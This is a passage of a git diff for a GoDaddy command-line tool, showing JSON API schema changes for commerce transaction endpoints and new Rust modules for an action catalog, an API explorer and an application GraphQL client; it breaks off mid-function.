"PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/transaction/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/transaction/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom ID format that can take URN or an UUID", + "example": "urn:trn:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})|(urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/transaction/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true + }, + "type": { + "description": "Discriminator field representing the type of Transaction", + "type": "string" + }, + "voidableUntil": { + "description": "Time in RFC 3339 format by which this transaction can be voided.", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "readOnly": true, + "type": "string" } }, "required": [ - "name", - "correlationId", - "message" - ] + "type", + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" } } }, @@ -31337,14 +23203,7 @@ "in": "path", "required": true, "schema": { - "$id": "https://godaddy.com/schemas/commerce/transaction/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true + "$ref": "./types/Uuid.yaml" } }, { @@ -31352,16 +23211,7 @@ "in": "path", "required": true, "schema": { - "$id": "https://godaddy.com/schemas/commerce/transaction/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom ID format that can take URN or an UUID", - "type": "string", - "example": "urn:trn:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})|(urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})", - "x-custom-type": true, - "x-custom-id": true + "$ref": "./types/Id.yaml" } }, { @@ -31380,28 +23230,28 @@ "schema": { "$id": "https://godaddy.com/schemas/commerce/transaction/transaction-reference.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Reference", - "type": "object", "description": "Reference to a document (e.g. order or invoice) that this transaction is for", "properties": { - "value": { - "type": "string", - "maxLength": 128 + "additionalLabel": { + "description": "(Optional) Label that the reference points to", + "maxLength": 32, + "type": "string" }, "type": { - "type": "string", - "maxLength": 32 + "maxLength": 32, + "type": "string" }, - "additionalLabel": { - "description": "(Optional) Label that the reference points to", - "type": "string", - "maxLength": 32 + "value": { + "maxLength": 128, + "type": "string" } }, "required": [ "value", "type" - ] + ], + "title": "Transaction Reference", + "type": "object" } } }, @@ -31422,14 +23272,7 @@ "in": "path", "required": true, "schema": { - "$id": "https://godaddy.com/schemas/commerce/transaction/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true + "$ref": "./types/Uuid.yaml" } }, { @@ -31437,16 +23280,7 @@ "in": "path", "required": true, "schema": { - "$id": "https://godaddy.com/schemas/commerce/transaction/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom ID format that can take URN or an UUID", - "type": "string", - "example": "urn:trn:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})|(urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})", - "x-custom-type": true, - "x-custom-id": true + "$ref": "./types/Id.yaml" } }, { @@ -31465,28 +23299,28 @@ "schema": { "$id": "https://godaddy.com/schemas/commerce/transaction/transaction-reference.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Reference", - "type": "object", "description": "Reference to a document (e.g. order or invoice) that this transaction is for", "properties": { - "value": { - "type": "string", - "maxLength": 128 + "additionalLabel": { + "description": "(Optional) Label that the reference points to", + "maxLength": 32, + "type": "string" }, "type": { - "type": "string", - "maxLength": 32 + "maxLength": 32, + "type": "string" }, - "additionalLabel": { - "description": "(Optional) Label that the reference points to", - "type": "string", - "maxLength": 32 + "value": { + "maxLength": 128, + "type": "string" } }, "required": [ "value", "type" - ] + ], + "title": "Transaction Reference", + "type": "object" } }, "responses": { @@ -31510,14 +23344,7 @@ "in": "path", "required": true, "schema": { - "$id": "https://godaddy.com/schemas/commerce/transaction/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true + "$ref": "./types/Uuid.yaml" } }, { @@ -31525,16 +23352,7 @@ "in": "path", "required": true, "schema": { - "$id": "https://godaddy.com/schemas/commerce/transaction/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom ID format that can take URN or an UUID", - "type": "string", - "example": "urn:trn:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})|(urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})", - "x-custom-type": true, - "x-custom-id": true + "$ref": "./types/Id.yaml" } }, { @@ -31558,6 +23376,187 @@ "scopes": [ "commerce.transaction:write" ] + }, + { + "operationId": "getTransactionSignaturesById", + "method": "GET", + "path": "/stores/{storeId}/transactions/{transactionId}/signatures", + "summary": "Get transaction signatures", + "description": "Get all transaction signatures using the store and transaction IDs.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "transactionId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "page", + "in": "query", + "required": false, + "schema": { + "default": 1, + "type": "integer" + } + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "schema": { + "default": 10, + "type": "integer" + } + }, + { + "name": "totalRequired", + "in": "query", + "required": false, + "schema": { + "default": false, + "type": "boolean" + } + } + ], + "responses": { + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/error.json" + } + }, + "200": { + "description": "Transaction Signature list", + "schema": { + "allOf": [ + { + "$ref": "#/components/schemas/pagedList" + } + ], + "properties": { + "items": { + "items": { + "$ref": "./models/transaction/Signature.yaml" + }, + "type": "array" + } + } + } + } + }, + "scopes": [ + "commerce.transaction:read", + "commerce.transaction:write" + ] + }, + { + "operationId": "addTransactionSignatureByTransactionId", + "method": "POST", + "path": "/stores/{storeId}/transactions/{transactionId}/signatures", + "summary": "Add transaction signature", + "description": "Add a transaction signature using the store and transaction IDs.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "transactionId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "requestBody": { + "required": false, + "contentType": "multipart/form-data", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/signature.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Representation of Customer signature received during transaction", + "properties": { + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/commerce/transaction/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "signature": { + "description": "Signature data in Binary format", + "format": "binary", + "type": "string", + "writeOnly": true + }, + "signatureUrl": { + "description": "URL of the image uploaded", + "format": "uri", + "readOnly": true, + "type": "string" + } + }, + "title": "Customer Signature", + "type": "object" + } + }, + "responses": { + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/error.json" + } + }, + "200": { + "description": "Request was successful" + } + }, + "scopes": [ + "commerce.transaction:write" + ] } ] } \ No newline at end of file diff --git a/rust/src/actions_catalog/mod.rs b/rust/src/actions_catalog/mod.rs new file mode 100644 index 0000000..4d123bf --- /dev/null +++ b/rust/src/actions_catalog/mod.rs @@ -0,0 +1,76 @@ +use cli_engine::{CommandResult, CommandSpec, GroupSpec, Module, RuntimeCommandSpec, RuntimeGroupSpec, Tier}; +use serde_json::json; + +/// Static catalog of available GoDaddy action names. +/// Loaded from the manifest at compile time. +const ACTIONS: &[(&str, &str)] = &[ + ("location.address.verify", "Verify and standardize a physical address"), + ("commerce.taxes.calculate", "Calculate taxes for a commerce transaction"), + ("commerce.shipping-rates.calculate", "Calculate shipping rates"), + ("commerce.price-adjustment.apply", "Apply a price adjustment"), + ("notifications.email.send", "Send an email notification"), + ("commerce.payment.process", "Process a payment"), + ("commerce.payment.refund", "Refund a payment"), +]; + +/// Raw action schema JSON files embedded at compile time. +/// Key is the action name; value is the full JSON schema. +fn load_action_schema(name: &str) -> Option { + let json_str = match name { + "location.address.verify" => include_str!("../../schemas/actions/location-address-verify.json"), + "commerce.taxes.calculate" => include_str!("../../schemas/actions/commerce-taxes-calculate.json"), + "commerce.shipping-rates.calculate" => include_str!("../../schemas/actions/commerce-shipping-rates-calculate.json"), + "commerce.price-adjustment.apply" => include_str!("../../schemas/actions/commerce-price-adjustment-apply.json"), + "notifications.email.send" => include_str!("../../schemas/actions/notifications-email-send.json"), + "commerce.payment.process" => include_str!("../../schemas/actions/commerce-payment-process.json"), + "commerce.payment.refund" => include_str!("../../schemas/actions/commerce-payment-refund.json"), + _ => return None, + }; + serde_json::from_str(json_str).ok() +} + +pub fn module() -> Module { + Module::new("Contracts", |_ctx| { + RuntimeGroupSpec::new(GroupSpec::new( + "actions", + "Discover available GoDaddy action contracts", + )) + .with_command(RuntimeCommandSpec::new( + CommandSpec::new("list", "List all available action contracts") + .with_system("actions") + .with_tier(Tier::Read), + |_cred, _args| async move { + let actions: Vec<_> = ACTIONS + .iter() + .map(|(name, description)| json!({ "name": name, "description": description })) + .collect(); + Ok(CommandResult::new(json!({ "actions": actions }))) + }, + )) + .with_command(RuntimeCommandSpec::new_with_context( + CommandSpec::new("describe", "Show detailed schema for an action contract") + .with_system("actions") + .with_tier(Tier::Read) + .with_arg( + clap::Arg::new("action") + .value_name("ACTION") + .required(true) + .help("Action name (e.g. location.address.verify)"), + ), + |ctx| async move { + let name = ctx + .args + .get("action") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_owned(); + let schema = load_action_schema(&name).ok_or_else(|| { + cli_engine::CliCoreError::message(format!( + "action {name:?} not found; run `godaddy actions list` to see available actions" + )) + })?; + Ok(CommandResult::new(schema)) + }, + )) + }) +} diff --git a/rust/src/api_explorer/mod.rs b/rust/src/api_explorer/mod.rs new file mode 100644 index 0000000..0b1599a --- /dev/null +++ b/rust/src/api_explorer/mod.rs @@ -0,0 +1,518 @@ +use std::sync::OnceLock; + +use cli_engine::{ + CommandResult, CommandSpec, GroupSpec, Module, NextAction, NextActionParam, + RuntimeCommandSpec, RuntimeGroupSpec, Tier, +}; +use serde::Deserialize; +use serde_json::{Value, json}; + +// --------------------------------------------------------------------------- +// Catalog types +// --------------------------------------------------------------------------- + +#[derive(Debug, Deserialize)] +struct Domain { + name: String, + title: String, + description: String, + #[serde(rename = "baseUrl")] + base_url: String, + endpoints: Vec, +} + +#[derive(Debug, Deserialize)] +struct Endpoint { + #[serde(rename = "operationId")] + operation_id: String, + method: String, + path: String, + summary: String, + #[serde(default)] + description: String, + #[serde(default)] + parameters: Vec, + #[serde(rename = "requestBody", default)] + request_body: Option, + #[serde(default)] + responses: Value, + #[serde(default)] + scopes: Vec, +} + +// --------------------------------------------------------------------------- +// Static catalog — parsed once from embedded JSON +// --------------------------------------------------------------------------- + +static CATALOG: OnceLock> = OnceLock::new(); + +const DOMAIN_FILES: &[(&str, &str)] = &[ + ("bulk-operations", include_str!("../../schemas/api/bulk-operations.json")), + ("businesses", include_str!("../../schemas/api/businesses.json")), + ("catalog-products", include_str!("../../schemas/api/catalog-products.json")), + ("channels", include_str!("../../schemas/api/channels.json")), + ("chargebacks", include_str!("../../schemas/api/chargebacks.json")), + ("customer-profiles", include_str!("../../schemas/api/customer-profiles.json")), + ("fulfillments", include_str!("../../schemas/api/fulfillments.json")), + ("location-addresses", include_str!("../../schemas/api/location-addresses.json")), + ("metafields", include_str!("../../schemas/api/metafields.json")), + ("onboarding", include_str!("../../schemas/api/onboarding.json")), + ("orders", include_str!("../../schemas/api/orders.json")), + ("payment-requests", include_str!("../../schemas/api/payment-requests.json")), + ("payments", include_str!("../../schemas/api/payments.json")), + ("price-adjustments", include_str!("../../schemas/api/price-adjustments.json")), + ("recommendations", include_str!("../../schemas/api/recommendations.json")), + ("shipping", include_str!("../../schemas/api/shipping.json")), + ("stores", include_str!("../../schemas/api/stores.json")), + ("subscriptions", include_str!("../../schemas/api/subscriptions.json")), + ("taxes", include_str!("../../schemas/api/taxes.json")), + ("transactions", include_str!("../../schemas/api/transactions.json")), +]; + +fn catalog() -> &'static [Domain] { + CATALOG.get_or_init(|| { + DOMAIN_FILES + .iter() + .filter_map(|(_, src)| serde_json::from_str::(src).ok()) + .collect() + }) +} + +fn find_endpoint<'a>(catalog: &'a [Domain], query: &str) -> Option<(&'a Domain, &'a Endpoint)> { + let q = query.to_lowercase(); + catalog.iter().find_map(|domain| { + domain.endpoints.iter().find_map(|ep| { + if ep.operation_id.to_lowercase() == q + || ep.path.to_lowercase() == q + || ep.path.to_lowercase().contains(&q) + { + Some((domain, ep)) + } else { + None + } + }) + }) +} + +fn search_endpoints<'a>(catalog: &'a [Domain], query: &str) -> Vec<(&'a Domain, &'a Endpoint)> { + let q = query.to_lowercase(); + catalog + .iter() + .flat_map(|domain| { + let q = q.clone(); + domain.endpoints.iter().filter_map(move |ep| { + let haystack = format!( + "{} {} {} {}", + ep.operation_id.to_lowercase(), + ep.path.to_lowercase(), + ep.summary.to_lowercase(), + ep.description.to_lowercase(), + ); + if haystack.contains(&q) { + Some((domain, ep)) + } else { + None + } + }) + }) + .collect() +} + +// --------------------------------------------------------------------------- +// Module +// --------------------------------------------------------------------------- + +pub fn module() -> Module { + Module::new("Contracts", |_ctx| { + RuntimeGroupSpec::new(GroupSpec::new( + "api", + "Explore and call GoDaddy API endpoints", + )) + .with_command(list_command()) + .with_command(describe_command()) + .with_command(search_command()) + .with_command(call_command()) + }) +} + +fn list_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_with_context( + CommandSpec::new("list", "List all API domains") + .with_system("api") + .with_tier(Tier::Read) + .with_default_fields("domain,title,endpoints,baseUrl") + .with_arg( + clap::Arg::new("domain") + .long("domain") + .value_name("DOMAIN") + .help("Show endpoints within a specific domain"), + ), + |ctx| async move { + let catalog = catalog(); + if let Some(domain_filter) = ctx.args.get("domain").and_then(|v| v.as_str()) { + let domain = catalog + .iter() + .find(|d| d.name == domain_filter) + .ok_or_else(|| { + cli_engine::CliCoreError::message(format!( + "domain '{domain_filter}' not found" + )) + })?; + let endpoints: Vec = domain + .endpoints + .iter() + .map(|ep| { + json!({ + "operationId": ep.operation_id, + "method": ep.method, + "path": ep.path, + "summary": ep.summary, + }) + }) + .collect(); + return Ok(CommandResult::new(json!(endpoints)).with_next_actions(vec![ + NextAction::new( + "api describe ", + "Get full details for an endpoint", + ) + .with_param("operationId", NextActionParam::required()), + ])); + } + + let domains: Vec = catalog + .iter() + .map(|d| { + json!({ + "domain": d.name, + "title": d.title, + "description": d.description, + "endpoints": d.endpoints.len(), + "baseUrl": d.base_url, + }) + }) + .collect(); + Ok( + CommandResult::new(json!(domains)).with_next_actions(vec![ + NextAction::new( + "api list --domain ", + "List endpoints in a specific domain", + ) + .with_param("domain", NextActionParam::required()), + NextAction::new("api search ", "Search across all endpoints"), + ]), + ) + }, + ) +} + +fn describe_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_with_context( + CommandSpec::new( + "describe", + "Show schema and parameters for an endpoint", + ) + .with_system("api") + .with_tier(Tier::Read) + .with_arg( + clap::Arg::new("endpoint") + .value_name("ENDPOINT") + .required(true) + .help("Operation ID (e.g. createOrder) or path fragment (e.g. /v1/commerce/orders)"), + ), + |ctx| async move { + let query = ctx + .args + .get("endpoint") + .and_then(|v| v.as_str()) + .unwrap_or(""); + let catalog = catalog(); + let (domain, ep) = find_endpoint(catalog, query).ok_or_else(|| { + cli_engine::CliCoreError::message(format!( + "no endpoint found matching '{query}' — try `api search {query}`" + )) + })?; + Ok(CommandResult::new(json!({ + "domain": domain.name, + "operationId": ep.operation_id, + "method": ep.method, + "path": ep.path, + "summary": ep.summary, + "description": ep.description, + "parameters": ep.parameters, + "requestBody": ep.request_body, + "responses": ep.responses, + "scopes": ep.scopes, + })) + .with_next_actions(vec![ + NextAction::new( + format!("api call {} --method {}", ep.path, ep.method), + "Make an authenticated call to this endpoint", + ), + ])) + }, + ) +} + +fn search_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_with_context( + CommandSpec::new("search", "Search API endpoints by keyword") + .with_system("api") + .with_tier(Tier::Read) + .with_default_fields("domain,method,path,summary") + .with_arg( + clap::Arg::new("query") + .value_name("QUERY") + .required(true) + .help("Search term (matches path, operationId, summary, description)"), + ), + |ctx| async move { + let query = ctx + .args + .get("query") + .and_then(|v| v.as_str()) + .unwrap_or(""); + let hits = search_endpoints(catalog(), query); + if hits.is_empty() { + return Ok(CommandResult::new(json!([]))); + } + let results: Vec = hits + .iter() + .map(|(domain, ep)| { + json!({ + "domain": domain.name, + "operationId": ep.operation_id, + "method": ep.method, + "path": ep.path, + "summary": ep.summary, + }) + }) + .collect(); + Ok( + CommandResult::new(json!(results)).with_next_actions(vec![ + NextAction::new( + "api describe ", + "Get full details for a result", + ) + .with_param("operationId", NextActionParam::required()), + ]), + ) + }, + ) +} + +fn extract_json_path<'a>(value: &'a Value, path: &str) -> Option<&'a Value> { + let normalized = path.trim_start_matches('.'); + if normalized.is_empty() { + return Some(value); + } + let mut current = value; + let mut remaining = normalized; + while !remaining.is_empty() { + if remaining.starts_with('[') { + let end = remaining.find(']')?; + let idx: usize = remaining[1..end].parse().ok()?; + current = current.get(idx)?; + remaining = remaining[end + 1..].trim_start_matches('.'); + } else { + let (key, rest) = match (remaining.find('.'), remaining.find('[')) { + (Some(d), Some(b)) if b < d => (&remaining[..b], &remaining[b..]), + (Some(d), _) => (&remaining[..d], &remaining[d + 1..]), + (None, Some(b)) => (&remaining[..b], &remaining[b..]), + (None, None) => (remaining, ""), + }; + current = current.get(key)?; + remaining = rest; + } + } + Some(current) +} + +fn call_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_with_context( + CommandSpec::new("call", "Make an authenticated API request") + .with_system("api") + .with_tier(Tier::Mutate) + .with_arg( + clap::Arg::new("endpoint") + .value_name("ENDPOINT") + .required(true) + .help("Relative API path (e.g. /v1/commerce/stores/{storeId}/orders)"), + ) + .with_arg( + clap::Arg::new("method") + .long("method") + .short('X') + .value_name("METHOD") + .default_value("GET") + .help("HTTP method"), + ) + .with_arg( + clap::Arg::new("body") + .long("body") + .short('d') + .value_name("JSON") + .help("Request body as raw JSON string"), + ) + .with_arg( + clap::Arg::new("field") + .long("field") + .short('f') + .value_name("KEY=VALUE") + .num_args(0..) + .help("Add a field to the request body (key=value, repeatable)"), + ) + .with_arg( + clap::Arg::new("file") + .long("file") + .short('F') + .value_name("PATH") + .help("Read request body from a JSON file"), + ) + .with_arg( + clap::Arg::new("header") + .long("header") + .short('H') + .value_name("KEY:VALUE") + .num_args(0..) + .help("Extra request headers"), + ) + .with_arg( + clap::Arg::new("query") + .long("query") + .short('q') + .value_name("PATH") + .help("Extract a value from the response JSON (e.g. .data[0].id)"), + ) + .with_arg( + clap::Arg::new("include") + .long("include") + .short('i') + .action(clap::ArgAction::SetTrue) + .help("Include response headers in output"), + ) + .with_arg( + clap::Arg::new("scope") + .long("scope") + .short('s') + .value_name("SCOPE") + .num_args(0..) + .help("Required OAuth scope(s); on 403 a re-auth hint is shown"), + ), + |ctx| async move { + let endpoint = ctx.args.get("endpoint").and_then(|v| v.as_str()).unwrap_or(""); + let method = ctx.args.get("method").and_then(|v| v.as_str()).unwrap_or("GET"); + let token = ctx.credential.as_ref().map(|c| c.token.clone()).unwrap_or_default(); + let base_url = crate::application::client::api_url_for_env(&ctx.middleware.env); + let url = format!("{base_url}{endpoint}"); + + // Build request body: -F file > -d body, then merge -f fields on top + let mut request_body: Option = None; + + if let Some(file_path) = ctx.args.get("file").and_then(|v| v.as_str()) { + let content = std::fs::read_to_string(file_path).map_err(|e| { + cli_engine::CliCoreError::message(format!( + "failed to read file '{file_path}': {e}" + )) + })?; + request_body = Some(serde_json::from_str(&content).map_err(|e| { + cli_engine::CliCoreError::message(format!( + "invalid JSON in '{file_path}': {e}" + )) + })?); + } else if let Some(body_str) = ctx.args.get("body").and_then(|v| v.as_str()) { + request_body = Some(serde_json::from_str(body_str).map_err(|e| { + cli_engine::CliCoreError::message(format!("invalid JSON body: {e}")) + })?); + } + + if let Some(fields) = ctx.args.get("field").and_then(|v| v.as_array()) + && !fields.is_empty() + { + let body = request_body.get_or_insert_with(|| json!({})); + for field in fields { + if let Some(s) = field.as_str() { + let eq = s.find('=').ok_or_else(|| { + cli_engine::CliCoreError::message(format!( + "invalid field format '{s}': expected key=value" + )) + })?; + let key = s[..eq].to_owned(); + let val = s[eq + 1..].to_owned(); + if let Some(obj) = body.as_object_mut() { + obj.insert(key, json!(val)); + } + } + } + } + + let mut req = crate::application::client::make_http_client() + .request( + method.parse().map_err(|_| { + cli_engine::CliCoreError::message(format!( + "invalid HTTP method: {method}" + )) + })?, + &url, + ) + .bearer_auth(&token) + .header("x-request-id", uuid::Uuid::new_v4().to_string()); + + if let Some(body) = request_body { + req = req.json(&body); + } + + let resp = req + .send() + .await + .map_err(|e| cli_engine::CliCoreError::message(e.to_string()))?; + + let status = resp.status().as_u16(); + let include_headers = + ctx.args.get("include").and_then(|v| v.as_bool()).unwrap_or(false); + let response_headers: Option> = if include_headers { + Some( + resp.headers() + .iter() + .filter_map(|(k, v)| { + v.to_str().ok().map(|s| (k.to_string(), json!(s))) + }) + .collect(), + ) + } else { + None + }; + + let scopes: Vec = ctx + .args + .get("scope") + .and_then(|v| v.as_array()) + .map(|arr| arr.iter().filter_map(|v| v.as_str().map(str::to_owned)).collect()) + .unwrap_or_default(); + + let body: Value = resp.json().await.unwrap_or(json!(null)); + + if status == 403 && !scopes.is_empty() { + return Err(cli_engine::CliCoreError::message(format!( + "403 Forbidden — your token may be missing scope(s): {}\nRun `godaddy auth login` to re-authenticate.", + scopes.join(", ") + ))); + } + + let query_path = ctx.args.get("query").and_then(|v| v.as_str()); + let output = if let Some(path) = query_path { + extract_json_path(&body, path) + .cloned() + .unwrap_or(json!(null)) + } else { + body + }; + + let mut result = json!({ "status": status, "body": output }); + if let Some(headers) = response_headers { + result["headers"] = Value::Object(headers); + } + + Ok(CommandResult::new(result)) + }, + ) +} diff --git a/rust/src/application/client.rs b/rust/src/application/client.rs new file mode 100644 index 0000000..c7441bc --- /dev/null +++ b/rust/src/application/client.rs @@ -0,0 +1,185 @@ +use reqwest::Client; +use serde_json::{Value, json}; + +const GRAPHQL_PATH: &str = "/v1/apps/app-registry-subgraph"; +const USER_AGENT: &str = concat!("godaddy-cli/", env!("CARGO_PKG_VERSION")); + +/// Builds a reqwest Client with the standard GoDaddy CLI User-Agent. +pub fn make_http_client() -> Client { + Client::builder() + .user_agent(USER_AGENT) + .build() + .expect("failed to build HTTP client") +} + +fn new_request_id() -> String { + uuid::Uuid::new_v4().to_string() +} + +#[derive(Debug, thiserror::Error)] +pub enum ClientError { + #[error("HTTP error {status}: {body}")] + Http { status: u16, body: String }, + #[error("network error: {0}")] + Network(#[from] reqwest::Error), + #[error("GraphQL errors: {0}")] + GraphQL(String), +} + +pub struct ApplicationClient { + client: Client, + base_url: String, + token: String, +} + +#[allow(dead_code)] +impl ApplicationClient { + pub fn new(base_url: impl Into, token: impl Into) -> Self { + Self { + client: make_http_client(), + base_url: base_url.into(), + token: token.into(), + } + } + + async fn query(&self, body: Value) -> Result { + let url = format!("{}{}", self.base_url, GRAPHQL_PATH); + let resp = self + .client + .post(&url) + .bearer_auth(&self.token) + .header("x-request-id", new_request_id()) + .json(&body) + .send() + .await?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let text = resp.text().await.unwrap_or_default(); + return Err(ClientError::Http { status, body: text }); + } + + let payload: Value = resp.json().await?; + if let Some(errors) = payload.get("errors") { + return Err(ClientError::GraphQL(errors.to_string())); + } + Ok(payload["data"].clone()) + } + + pub async fn list_applications(&self) -> Result { + let data = self.query(json!({ + "query": "query ApplicationsList { applications { edges { node { id label name description status url proxyUrl } } } }" + })) + .await?; + let nodes: Vec = data["applications"]["edges"] + .as_array() + .map(|edges| { + edges + .iter() + .filter_map(|e| { + let node = &e["node"]; + if node.is_null() { None } else { Some(node.clone()) } + }) + .collect() + }) + .unwrap_or_default(); + Ok(json!(nodes)) + } + + pub async fn get_application(&self, name: &str) -> Result { + self.query(json!({ + "query": "query Application($name: String!) { application(name: $name) { id label name description status url proxyUrl } }", + "variables": { "name": name } + })) + .await + } + + pub async fn update_application(&self, id: &str, input: Value) -> Result { + self.query(json!({ + "query": "mutation UpdateApplication($id: String!, $input: MutationUpdateApplicationInput!) { updateApplication(id: $id, input: $input) { id clientId label name description status url proxyUrl authorizationScopes } }", + "variables": { "id": id, "input": input } + })) + .await + } + + pub async fn create_release(&self, input: Value) -> Result { + self.query(json!({ + "query": "mutation CreateRelease($input: MutationCreateReleaseInput!) { createRelease(input: $input) { id version description createdAt } }", + "variables": { "input": input } + })) + .await + } + + pub async fn enable_application(&self, input: Value) -> Result { + self.query(json!({ + "query": "mutation EnableApplication($input: MutationEnableStoreApplicationInput!) { enableStoreApplication(input: $input) { id } }", + "variables": { "input": input } + })) + .await + } + + pub async fn disable_application(&self, input: Value) -> Result { + self.query(json!({ + "query": "mutation DisableApplication($input: MutationDisableStoreApplicationInput!) { disableStoreApplication(input: $input) { id } }", + "variables": { "input": input } + })) + .await + } + + pub async fn archive_application(&self, id: &str) -> Result { + self.query(json!({ + "query": "mutation ArchiveApplication($id: String!) { archiveApplication(id: $id) { id label name status createdAt archivedAt } }", + "variables": { "id": id } + })) + .await + } + + pub async fn create_application(&self, input: Value) -> Result { + self.query(json!({ + "query": "mutation CreateApplication($input: MutationCreateApplicationInput!) { createApplication(input: $input) { id clientId clientSecret label name description status url proxyUrl authorizationScopes secret publicKey } }", + "variables": { "input": input } + })) + .await + } + + pub async fn get_application_with_releases(&self, name: &str) -> Result { + self.query(json!({ + "query": "query ApplicationWithLatestRelease($name: String!) { application(name: $name) { id label name description status url proxyUrl authorizationScopes releases(first: 1, orderBy: { createdAt: DESC }) { edges { node { id version description createdAt } } } } }", + "variables": { "name": name } + })) + .await + } + + pub async fn generate_upload_url(&self, input: Value) -> Result { + self.query(json!({ + "query": "mutation GenerateReleaseUploadUrl($input: MutationGenerateReleaseUploadUrlInput!) { generateReleaseUploadUrl(input: $input) { uploadId url key expiresAt maxSizeBytes requiredHeaders } }", + "variables": { "input": input } + })) + .await + } + + pub async fn upload_artifact(&self, url: &str, headers: &Value, bytes: Vec) -> Result<(), ClientError> { + let mut req = self.client.put(url).body(bytes); + if let Some(obj) = headers.as_object() { + for (k, v) in obj { + if let Some(s) = v.as_str() { + req = req.header(k.as_str(), s); + } + } + } + let resp = req.send().await?; + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(ClientError::Http { status, body }); + } + Ok(()) + } +} + +pub fn api_url_for_env(env: &str) -> &'static str { + match env { + "prod" => "https://api.godaddy.com", + _ => "https://api.ote-godaddy.com", + } +} diff --git a/rust/src/application/commands/mod.rs b/rust/src/application/commands/mod.rs new file mode 100644 index 0000000..4904af5 --- /dev/null +++ b/rust/src/application/commands/mod.rs @@ -0,0 +1,944 @@ +use cli_engine::{ + CommandResult, CommandSpec, GroupSpec, NextAction, NextActionParam, RuntimeCommandSpec, + RuntimeGroupSpec, StreamSender, Tier, +}; +use serde_json::json; + +use crate::application::client::{ApplicationClient, api_url_for_env}; + +fn make_client(ctx: &cli_engine::CommandContext) -> cli_engine::Result { + let token = ctx + .credential + .as_ref() + 